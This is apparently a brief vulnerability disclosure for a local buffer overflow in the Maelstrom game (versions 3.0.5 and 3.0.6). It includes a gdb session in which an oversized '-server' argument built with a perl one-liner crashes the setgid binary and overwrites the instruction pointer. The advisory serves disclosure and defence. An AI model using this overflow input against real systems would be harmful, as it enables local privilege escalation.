Maelstrom is an arcade game. There is a buffer overflow vulnerability in

Maelstrom which allow local attacker

arbitrary code execution.

Vulnerable systems: Maelstrom 3.0.6

Maelstrom 3.0.5

Example:

[lucae@linux]$ gdb /usr/bin/Maelstrom

GNU gdb 5.2.1-2mdk (Mandrake Linux)

Copyright 2002 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you

are

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Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i586-mandrake-linux-gnu"...

(gdb) set args -server 2@`perl -e 'print "ABCD" x 9999'`

(gdb) r

Starting program: /usr/bin/Maelstrom -server 2@`perl -e 'print "ABCD" x

9999'`

Couldn't resolve host name for ABCDABC......ABCD

Program received signal SIGSEGV, Segmentation fault.

0x41444342 in ?? ()

(gdb) Quit

Note: -rwxr-sr-x 1 root games 171568 19 feb

03:38 /usr/bin/Maelstrom in Linux Professional 9.0

Luca Ercoli luca.ercoli (at) inwind (dot) it [email concealed]

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